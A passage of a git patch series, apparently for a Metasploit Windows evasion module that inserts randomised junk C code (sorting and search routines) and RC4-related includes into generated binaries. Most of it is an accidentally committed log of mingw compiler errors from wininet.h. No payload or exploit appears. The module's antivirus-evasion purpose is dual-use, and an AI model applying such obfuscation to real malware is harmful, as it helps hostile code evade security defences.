Rex::Text.rand_text_alpha(5) - bubbel_sort_call = %| + bubble_sort_call = %| int #{arr_name}[#{arr_size}] = {#{fill_array(arr_size)}}; - bubbel_sort(#{arr_name}, #{arr_size}); + bubble_sort(#{arr_name}, #{arr_size}); | # euclide call example euclide_call = %| @@ -146,17 +146,25 @@ def junk_code(flag) binary_search(#{arr_name}, 0, #{arr_size - 1}, #{rand(1..100)}); | if flag == 0 - return [fibonnacci, bubbel_sort, euclide, binary_search].shuffle + return [fibonnacci, bubble_sort, euclide, binary_search].shuffle else - return [fibonnacci_call, bubbel_sort_call, euclide_call, binary_search_call].sample + return [fibonnacci_call, bubble_sort_call, euclide_call, binary_search_call].sample end end def get_includes - rc4 = "#include \"#{File.join(Msf::Config.install_root, 'data', 'headers', 'windows')}/rc4.h\"" - includes = ["#include \n", "#include \n", "#include \n", "#include \n", "#include \n", rc4, "#include \n", "#include \n", "#include \n", '#include '] - includes.shuffle - return includes.join + [ + "#include \"#{File.join(Msf::Config.install_root, 'data', 'headers', 'windows')}/rc4.h\"", + '#include ', + '#include ', + '#include ', + '#include ', + '#include ', + '#include ', + '#include ', + '#include ', + '#include ' + ].shuffle.join("\n") end def get_time_distorsion From b52a11a9177fc2c0448880d5ac7de1ca1e2cd0fc Mon Sep 17 00:00:00 2001 From: Arthur RAOUT Date: Sat, 17 Feb 2024 16:07:06 +0100 Subject: [PATCH 20/22] take away shuffle from includes, as the includes need to respect specific order to compile --- 1 | 1942 +++++++++++++++++ .../windows/time_obfuscation_no_shellcode.rb | 6 +- 2 files changed, 1945 insertions(+), 3 deletions(-) create mode 100644 1 diff --git a/1 b/1 new file mode 100644 index 000000000000..febbf03515fc --- /dev/null +++ b/1 @@ -0,0 +1,1942 @@ +In file included from /home/araout/.msf4/local/QwByG.c:4: +/usr/share/mingw-w64/include/wininet.h:29:11: error: unknown type name ‘LPVOID’ + 29 | typedef LPVOID HINTERNET; + | ^~~~~~ +/usr/share/mingw-w64/include/wininet.h:32:11: error: unknown type name ‘WORD’ + 32 | typedef WORD INTERNET_PORT; + | ^~~~ +In file included from /home/araout/.msf4/local/QwByG.c:4: +/usr/share/mingw-w64/include/wininet.h:130:5: error: unknown type name ‘DWORD_PTR’ + 130 | DWORD_PTR dwResult; + | ^~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:131:5: error: unknown type name ‘DWORD’ + 131 | DWORD dwError; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:135:5: error: unknown type name ‘DWORD_PTR’ + 135 | DWORD_PTR Socket; + | ^~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:136:5: error: unknown type name ‘DWORD’ + 136 | DWORD SourcePort; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:137:5: error: unknown type name ‘DWORD’ + 137 | DWORD DestPort; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:138:5: error: unknown type name ‘DWORD’ + 138 | DWORD Flags; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:147:5: error: unknown type name ‘DWORD’ + 147 | DWORD dwAccessType; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:148:5: error: unknown type name ‘LPCTSTR’ + 148 | LPCTSTR lpszProxy; + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:149:5: error: unknown type name ‘LPCTSTR’ + 149 | LPCTSTR lpszProxyBypass; + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:153:5: error: unknown type name ‘DWORD’ + 153 | DWORD dwOption; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:155:7: error: unknown type name ‘DWORD’ + 155 | DWORD dwValue; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:156:7: error: unknown type name ‘LPSTR’ + 156 | LPSTR pszValue; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:157:7: error: unknown type name ‘FILETIME’ + 157 | FILETIME ftValue; + | ^~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:162:5: error: unknown type name ‘DWORD’ + 162 | DWORD dwOption; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:164:7: error: unknown type name ‘DWORD’ + 164 | DWORD dwValue; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:165:7: error: unknown type name ‘LPWSTR’ + 165 | LPWSTR pszValue; + | ^~~~~~ +/usr/share/mingw-w64/include/wininet.h:166:7: error: unknown type name ‘FILETIME’ + 166 | FILETIME ftValue; + | ^~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:174:5: error: unknown type name ‘DWORD’ + 174 | DWORD dwSize; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:175:5: error: unknown type name ‘LPSTR’ + 175 | LPSTR pszConnection; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:176:5: error: unknown type name ‘DWORD’ + 176 | DWORD dwOptionCount; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:177:5: error: unknown type name ‘DWORD’ + 177 | DWORD dwOptionError; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:182:5: error: unknown type name ‘DWORD’ + 182 | DWORD dwSize; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:183:5: error: unknown type name ‘LPWSTR’ + 183 | LPWSTR pszConnection; + | ^~~~~~ +/usr/share/mingw-w64/include/wininet.h:184:5: error: unknown type name ‘DWORD’ + 184 | DWORD dwOptionCount; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:185:5: error: unknown type name ‘DWORD’ + 185 | DWORD dwOptionError; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:217:5: error: unknown type name ‘DWORD’ + 217 | DWORD dwMajorVersion; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:218:5: error: unknown type name ‘DWORD’ + 218 | DWORD dwMinorVersion; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:222:5: error: unknown type name ‘DWORD’ + 222 | DWORD dwMajorVersion; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:223:5: error: unknown type name ‘DWORD’ + 223 | DWORD dwMinorVersion; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:227:5: error: unknown type name ‘DWORD’ + 227 | DWORD dwConnectedState; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:228:5: error: unknown type name ‘DWORD’ + 228 | DWORD dwFlags; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:234:5: error: unknown type name ‘DWORD’ + 234 | DWORD dwStructSize; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:235:5: error: unknown type name ‘LPSTR’ + 235 | LPSTR lpszScheme; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:236:5: error: unknown type name ‘DWORD’ + 236 | DWORD dwSchemeLength; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:238:5: error: unknown type name ‘LPSTR’ + 238 | LPSTR lpszHostName; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:239:5: error: unknown type name ‘DWORD’ + 239 | DWORD dwHostNameLength; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:241:5: error: unknown type name ‘LPSTR’ + 241 | LPSTR lpszUserName; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:242:5: error: unknown type name ‘DWORD’ + 242 | DWORD dwUserNameLength; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:243:5: error: unknown type name ‘LPSTR’ + 243 | LPSTR lpszPassword; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:244:5: error: unknown type name ‘DWORD’ + 244 | DWORD dwPasswordLength; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:245:5: error: unknown type name ‘LPSTR’ + 245 | LPSTR lpszUrlPath; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:246:5: error: unknown type name ‘DWORD’ + 246 | DWORD dwUrlPathLength; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:247:5: error: unknown type name ‘LPSTR’ + 247 | LPSTR lpszExtraInfo; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:248:5: error: unknown type name ‘DWORD’ + 248 | DWORD dwExtraInfoLength; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:252:5: error: unknown type name ‘DWORD’ + 252 | DWORD dwStructSize; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:253:5: error: unknown type name ‘LPWSTR’ + 253 | LPWSTR lpszScheme; + | ^~~~~~ +/usr/share/mingw-w64/include/wininet.h:254:5: error: unknown type name ‘DWORD’ + 254 | DWORD dwSchemeLength; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:256:5: error: unknown type name ‘LPWSTR’ + 256 | LPWSTR lpszHostName; + | ^~~~~~ +/usr/share/mingw-w64/include/wininet.h:257:5: error: unknown type name ‘DWORD’ + 257 | DWORD dwHostNameLength; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:259:5: error: unknown type name ‘LPWSTR’ + 259 | LPWSTR lpszUserName; + | ^~~~~~ +/usr/share/mingw-w64/include/wininet.h:260:5: error: unknown type name ‘DWORD’ + 260 | DWORD dwUserNameLength; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:261:5: error: unknown type name ‘LPWSTR’ + 261 | LPWSTR lpszPassword; + | ^~~~~~ +/usr/share/mingw-w64/include/wininet.h:262:5: error: unknown type name ‘DWORD’ + 262 | DWORD dwPasswordLength; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:263:5: error: unknown type name ‘LPWSTR’ + 263 | LPWSTR lpszUrlPath; + | ^~~~~~ +/usr/share/mingw-w64/include/wininet.h:264:5: error: unknown type name ‘DWORD’ + 264 | DWORD dwUrlPathLength; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:265:5: error: unknown type name ‘LPWSTR’ + 265 | LPWSTR lpszExtraInfo; + | ^~~~~~ +/usr/share/mingw-w64/include/wininet.h:266:5: error: unknown type name ‘DWORD’ + 266 | DWORD dwExtraInfoLength; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:273:5: error: unknown type name ‘FILETIME’ + 273 | FILETIME ftExpiry; + | ^~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:274:5: error: unknown type name ‘FILETIME’ + 274 | FILETIME ftStart; + | ^~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:275:5: error: unknown type name ‘LPTSTR’ + 275 | LPTSTR lpszSubjectInfo; + | ^~~~~~ +/usr/share/mingw-w64/include/wininet.h:276:5: error: unknown type name ‘LPTSTR’ + 276 | LPTSTR lpszIssuerInfo; + | ^~~~~~ +/usr/share/mingw-w64/include/wininet.h:277:5: error: unknown type name ‘LPTSTR’ + 277 | LPTSTR lpszProtocolName; + | ^~~~~~ +/usr/share/mingw-w64/include/wininet.h:278:5: error: unknown type name ‘LPTSTR’ + 278 | LPTSTR lpszSignatureAlgName; + | ^~~~~~ +/usr/share/mingw-w64/include/wininet.h:279:5: error: unknown type name ‘LPTSTR’ + 279 | LPTSTR lpszEncryptionAlgName; + | ^~~~~~ +/usr/share/mingw-w64/include/wininet.h:280:5: error: unknown type name ‘DWORD’ + 280 | DWORD dwKeySize; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:284:5: error: unknown type name ‘DWORD’ + 284 | DWORD dwStructSize; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:286:5: error: unknown type name ‘LPCSTR’ + 286 | LPCSTR lpcszHeader; + | ^~~~~~ +/usr/share/mingw-w64/include/wininet.h:287:5: error: unknown type name ‘DWORD’ + 287 | DWORD dwHeadersLength; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:288:5: error: unknown type name ‘DWORD’ + 288 | DWORD dwHeadersTotal; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:289:5: error: unknown type name ‘LPVOID’ + 289 | LPVOID lpvBuffer; + | ^~~~~~ +/usr/share/mingw-w64/include/wininet.h:290:5: error: unknown type name ‘DWORD’ + 290 | DWORD dwBufferLength; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:291:5: error: unknown type name ‘DWORD’ + 291 | DWORD dwBufferTotal; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:292:5: error: unknown type name ‘DWORD’ + 292 | DWORD dwOffsetLow; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:293:5: error: unknown type name ‘DWORD’ + 293 | DWORD dwOffsetHigh; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:297:5: error: unknown type name ‘DWORD’ + 297 | DWORD dwStructSize; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:299:5: error: unknown type name ‘LPCWSTR’ + 299 | LPCWSTR lpcszHeader; + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:300:5: error: unknown type name ‘DWORD’ + 300 | DWORD dwHeadersLength; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:301:5: error: unknown type name ‘DWORD’ + 301 | DWORD dwHeadersTotal; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:302:5: error: unknown type name ‘LPVOID’ + 302 | LPVOID lpvBuffer; + | ^~~~~~ +/usr/share/mingw-w64/include/wininet.h:303:5: error: unknown type name ‘DWORD’ + 303 | DWORD dwBufferLength; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:304:5: error: unknown type name ‘DWORD’ + 304 | DWORD dwBufferTotal; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:305:5: error: unknown type name ‘DWORD’ + 305 | DWORD dwOffsetLow; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:306:5: error: unknown type name ‘DWORD’ + 306 | DWORD dwOffsetHigh; + | ^~~~~ +In file included from /home/araout/.msf4/local/QwByG.c:4: +/usr/share/mingw-w64/include/wininet.h:315:3: error: unknown type name ‘EXTERN_C’ + 315 | BOOLAPI InternetTimeFromSystemTime(CONST SYSTEMTIME *pst,DWORD dwRFC,LPSTR lpszTime,DWORD cbTime); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:315:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 315 | BOOLAPI InternetTimeFromSystemTime(CONST SYSTEMTIME *pst,DWORD dwRFC,LPSTR lpszTime,DWORD cbTime); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:315:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:318:3: error: unknown type name ‘EXTERN_C’ + 318 | BOOLAPI InternetTimeFromSystemTimeA(CONST SYSTEMTIME *pst,DWORD dwRFC,LPSTR lpszTime,DWORD cbTime); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:318:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 318 | BOOLAPI InternetTimeFromSystemTimeA(CONST SYSTEMTIME *pst,DWORD dwRFC,LPSTR lpszTime,DWORD cbTime); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:318:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:319:3: error: unknown type name ‘EXTERN_C’ + 319 | BOOLAPI InternetTimeFromSystemTimeW(CONST SYSTEMTIME *pst,DWORD dwRFC,LPWSTR lpszTime,DWORD cbTime); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:319:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 319 | BOOLAPI InternetTimeFromSystemTimeW(CONST SYSTEMTIME *pst,DWORD dwRFC,LPWSTR lpszTime,DWORD cbTime); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:319:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:332:3: error: unknown type name ‘EXTERN_C’ + 332 | BOOLAPI InternetTimeToSystemTime(LPCSTR lpszTime,SYSTEMTIME *pst,DWORD dwReserved); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:332:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 332 | BOOLAPI InternetTimeToSystemTime(LPCSTR lpszTime,SYSTEMTIME *pst,DWORD dwReserved); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:332:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:335:3: error: unknown type name ‘EXTERN_C’ + 335 | BOOLAPI InternetTimeToSystemTimeA(LPCSTR lpszTime,SYSTEMTIME *pst,DWORD dwReserved); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:335:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 335 | BOOLAPI InternetTimeToSystemTimeA(LPCSTR lpszTime,SYSTEMTIME *pst,DWORD dwReserved); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:335:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:336:3: error: unknown type name ‘EXTERN_C’ + 336 | BOOLAPI InternetTimeToSystemTimeW(LPCWSTR lpszTime,SYSTEMTIME *pst,DWORD dwReserved); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:336:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 336 | BOOLAPI InternetTimeToSystemTimeW(LPCWSTR lpszTime,SYSTEMTIME *pst,DWORD dwReserved); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:336:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:337:3: error: unknown type name ‘EXTERN_C’ + 337 | BOOLAPI InternetCrackUrlA(LPCSTR lpszUrl,DWORD dwUrlLength,DWORD dwFlags,LPURL_COMPONENTSA lpUrlComponents); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:337:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 337 | BOOLAPI InternetCrackUrlA(LPCSTR lpszUrl,DWORD dwUrlLength,DWORD dwFlags,LPURL_COMPONENTSA lpUrlComponents); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:337:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:338:3: error: unknown type name ‘EXTERN_C’ + 338 | BOOLAPI InternetCrackUrlW(LPCWSTR lpszUrl,DWORD dwUrlLength,DWORD dwFlags,LPURL_COMPONENTSW lpUrlComponents); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:338:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 338 | BOOLAPI InternetCrackUrlW(LPCWSTR lpszUrl,DWORD dwUrlLength,DWORD dwFlags,LPURL_COMPONENTSW lpUrlComponents); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:338:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:339:3: error: unknown type name ‘EXTERN_C’ + 339 | BOOLAPI InternetCreateUrlA(LPURL_COMPONENTSA lpUrlComponents,DWORD dwFlags,LPSTR lpszUrl,LPDWORD lpdwUrlLength); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:339:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 339 | BOOLAPI InternetCreateUrlA(LPURL_COMPONENTSA lpUrlComponents,DWORD dwFlags,LPSTR lpszUrl,LPDWORD lpdwUrlLength); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:339:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:340:3: error: unknown type name ‘EXTERN_C’ + 340 | BOOLAPI InternetCreateUrlW(LPURL_COMPONENTSW lpUrlComponents,DWORD dwFlags,LPWSTR lpszUrl,LPDWORD lpdwUrlLength); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:340:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 340 | BOOLAPI InternetCreateUrlW(LPURL_COMPONENTSW lpUrlComponents,DWORD dwFlags,LPWSTR lpszUrl,LPDWORD lpdwUrlLength); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:340:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:341:3: error: unknown type name ‘EXTERN_C’ + 341 | BOOLAPI InternetCanonicalizeUrlA(LPCSTR lpszUrl,LPSTR lpszBuffer,LPDWORD lpdwBufferLength,DWORD dwFlags); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:341:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 341 | BOOLAPI InternetCanonicalizeUrlA(LPCSTR lpszUrl,LPSTR lpszBuffer,LPDWORD lpdwBufferLength,DWORD dwFlags); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:341:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:342:3: error: unknown type name ‘EXTERN_C’ + 342 | BOOLAPI InternetCanonicalizeUrlW(LPCWSTR lpszUrl,LPWSTR lpszBuffer,LPDWORD lpdwBufferLength,DWORD dwFlags); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:342:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 342 | BOOLAPI InternetCanonicalizeUrlW(LPCWSTR lpszUrl,LPWSTR lpszBuffer,LPDWORD lpdwBufferLength,DWORD dwFlags); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:342:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:343:3: error: unknown type name ‘EXTERN_C’ + 343 | BOOLAPI InternetCombineUrlA(LPCSTR lpszBaseUrl,LPCSTR lpszRelativeUrl,LPSTR lpszBuffer,LPDWORD lpdwBufferLength,DWORD dwFlags); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:343:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 343 | BOOLAPI InternetCombineUrlA(LPCSTR lpszBaseUrl,LPCSTR lpszRelativeUrl,LPSTR lpszBuffer,LPDWORD lpdwBufferLength,DWORD dwFlags); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:343:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:344:3: error: unknown type name ‘EXTERN_C’ + 344 | BOOLAPI InternetCombineUrlW(LPCWSTR lpszBaseUrl,LPCWSTR lpszRelativeUrl,LPWSTR lpszBuffer,LPDWORD lpdwBufferLength,DWORD dwFlags); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:344:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 344 | BOOLAPI InternetCombineUrlW(LPCWSTR lpszBaseUrl,LPCWSTR lpszRelativeUrl,LPWSTR lpszBuffer,LPDWORD lpdwBufferLength,DWORD dwFlags); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:344:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:358:3: error: unknown type name ‘EXTERN_C’ + 358 | INTERNETAPI_(HINTERNET) InternetOpenA(LPCSTR lpszAgent,DWORD dwAccessType,LPCSTR lpszProxy,LPCSTR lpszProxyBypass,DWORD dwFlags); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:358:3: error: expected ‘;’ before ‘HINTERNET’ + 358 | INTERNETAPI_(HINTERNET) InternetOpenA(LPCSTR lpszAgent,DWORD dwAccessType,LPCSTR lpszProxy,LPCSTR lpszProxyBypass,DWORD dwFlags); + | ^~~~~~~~~~~~ +In file included from /home/araout/.msf4/local/QwByG.c:4: +/usr/share/mingw-w64/include/wininet.h:358:27: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘InternetOpenA’ + 358 | INTERNETAPI_(HINTERNET) InternetOpenA(LPCSTR lpszAgent,DWORD dwAccessType,LPCSTR lpszProxy,LPCSTR lpszProxyBypass,DWORD dwFlags); + | ^~~~~~~~~~~~~ +In file included from /home/araout/.msf4/local/QwByG.c:4: +/usr/share/mingw-w64/include/wininet.h:359:3: error: unknown type name ‘EXTERN_C’ + 359 | INTERNETAPI_(HINTERNET) InternetOpenW(LPCWSTR lpszAgent,DWORD dwAccessType,LPCWSTR lpszProxy,LPCWSTR lpszProxyBypass,DWORD dwFlags); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:359:3: error: expected ‘;’ before ‘HINTERNET’ + 359 | INTERNETAPI_(HINTERNET) InternetOpenW(LPCWSTR lpszAgent,DWORD dwAccessType,LPCWSTR lpszProxy,LPCWSTR lpszProxyBypass,DWORD dwFlags); + | ^~~~~~~~~~~~ +In file included from /home/araout/.msf4/local/QwByG.c:4: +/usr/share/mingw-w64/include/wininet.h:359:27: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘InternetOpenW’ + 359 | INTERNETAPI_(HINTERNET) InternetOpenW(LPCWSTR lpszAgent,DWORD dwAccessType,LPCWSTR lpszProxy,LPCWSTR lpszProxyBypass,DWORD dwFlags); + | ^~~~~~~~~~~~~ +In file included from /home/araout/.msf4/local/QwByG.c:4: +/usr/share/mingw-w64/include/wininet.h:372:3: error: unknown type name ‘EXTERN_C’ + 372 | BOOLAPI InternetCloseHandle(HINTERNET hInternet); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:372:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 372 | BOOLAPI InternetCloseHandle(HINTERNET hInternet); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:372:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:373:3: error: unknown type name ‘EXTERN_C’ + 373 | INTERNETAPI_(HINTERNET) InternetConnectA(HINTERNET hInternet,LPCSTR lpszServerName,INTERNET_PORT nServerPort,LPCSTR lpszUserName,LPCSTR lpszPassword,DWORD dwService,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:373:3: error: expected ‘;’ before ‘HINTERNET’ + 373 | INTERNETAPI_(HINTERNET) InternetConnectA(HINTERNET hInternet,LPCSTR lpszServerName,INTERNET_PORT nServerPort,LPCSTR lpszUserName,LPCSTR lpszPassword,DWORD dwService,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~~~~~~ +In file included from /home/araout/.msf4/local/QwByG.c:4: +/usr/share/mingw-w64/include/wininet.h:373:27: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘InternetConnectA’ + 373 | INTERNETAPI_(HINTERNET) InternetConnectA(HINTERNET hInternet,LPCSTR lpszServerName,INTERNET_PORT nServerPort,LPCSTR lpszUserName,LPCSTR lpszPassword,DWORD dwService,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~~~~~~~~~~ +In file included from /home/araout/.msf4/local/QwByG.c:4: +/usr/share/mingw-w64/include/wininet.h:374:3: error: unknown type name ‘EXTERN_C’ + 374 | INTERNETAPI_(HINTERNET) InternetConnectW(HINTERNET hInternet,LPCWSTR lpszServerName,INTERNET_PORT nServerPort,LPCWSTR lpszUserName,LPCWSTR lpszPassword,DWORD dwService,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:374:3: error: expected ‘;’ before ‘HINTERNET’ + 374 | INTERNETAPI_(HINTERNET) InternetConnectW(HINTERNET hInternet,LPCWSTR lpszServerName,INTERNET_PORT nServerPort,LPCWSTR lpszUserName,LPCWSTR lpszPassword,DWORD dwService,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~~~~~~ +In file included from /home/araout/.msf4/local/QwByG.c:4: +/usr/share/mingw-w64/include/wininet.h:374:27: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘InternetConnectW’ + 374 | INTERNETAPI_(HINTERNET) InternetConnectW(HINTERNET hInternet,LPCWSTR lpszServerName,INTERNET_PORT nServerPort,LPCWSTR lpszUserName,LPCWSTR lpszPassword,DWORD dwService,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~~~~~~~~~~ +In file included from /home/araout/.msf4/local/QwByG.c:4: +/usr/share/mingw-w64/include/wininet.h:383:3: error: unknown type name ‘EXTERN_C’ + 383 | INTERNETAPI_(HINTERNET) InternetOpenUrlA(HINTERNET hInternet,LPCSTR lpszUrl,LPCSTR lpszHeaders,DWORD dwHeadersLength,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:383:3: error: expected ‘;’ before ‘HINTERNET’ + 383 | INTERNETAPI_(HINTERNET) InternetOpenUrlA(HINTERNET hInternet,LPCSTR lpszUrl,LPCSTR lpszHeaders,DWORD dwHeadersLength,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~~~~~~ +In file included from /home/araout/.msf4/local/QwByG.c:4: +/usr/share/mingw-w64/include/wininet.h:383:27: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘InternetOpenUrlA’ + 383 | INTERNETAPI_(HINTERNET) InternetOpenUrlA(HINTERNET hInternet,LPCSTR lpszUrl,LPCSTR lpszHeaders,DWORD dwHeadersLength,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~~~~~~~~~~ +In file included from 